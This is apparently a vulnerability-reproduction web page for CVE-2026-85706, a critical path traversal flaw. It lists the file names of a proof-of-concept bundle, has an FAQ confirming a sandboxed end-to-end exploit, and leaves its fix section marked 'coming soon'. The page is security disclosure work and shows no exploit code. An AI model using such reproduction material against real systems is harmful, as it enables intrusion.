bundle/vuln_variant/artifacts/http/fixed_t1_commits_json.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t2_commits_slash.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t3_files_post_slash.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t4_files_put_slash.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t5_files_post_plain.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t6_files_post_json.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t7_commits_authorize.txt0.8 KB
bundle/vuln_variant/artifacts/http/fixed_t8_files_authorize.txt0.8 KB
bundle/vuln_variant/artifacts/http/target_binding_fixed.txt2.7 KB
bundle/vuln_variant/artifacts/http/target_binding_vuln.txt2.4 KB
bundle/vuln_variant/artifacts/http/vuln_t1_commits_json.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t2_commits_slash.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t3_files_post_slash.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t4_files_put_slash.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t5_files_post_plain.txt0.8 KB
bundle/vuln_variant/artifacts/http/vuln_t6_files_post_json.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t7_commits_authorize.txt0.9 KB
bundle/vuln_variant/artifacts/http/vuln_t8_files_authorize.txt0.9 KB
bundle/vuln_variant/patch_analysis.md9.4 KB
bundle/vuln_variant/rca_report.md16.1 KB
bundle/vuln_variant/reproduction_steps.sh14.3 KB
bundle/vuln_variant/root_cause_equivalence.json3.8 KB
bundle/vuln_variant/runtime_manifest.json3.3 KB
bundle/vuln_variant/source_identity.json1.7 KB
bundle/vuln_variant/validation_verdict.json4.3 KB
bundle/vuln_variant/variant_manifest.json4.6 KB
08 · How to Fix

How to Fix CVE-2026-85706

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-85706 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-85706

Is CVE-2026-85706 exploitable?

Yes. Pruva independently reproduced CVE-2026-85706 and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00354).

How severe is CVE-2026-85706?

CVE-2026-85706 is rated critical severity.

What type of vulnerability is CVE-2026-85706?

CVE-2026-85706 is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')), a Path Traversal vulnerability.

How can I reproduce CVE-2026-85706?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-85706 reproduction verified?

Yes. Pruva reproduced CVE-2026-85706 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-85706

Authoritative sources for CVE-2026-85706 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.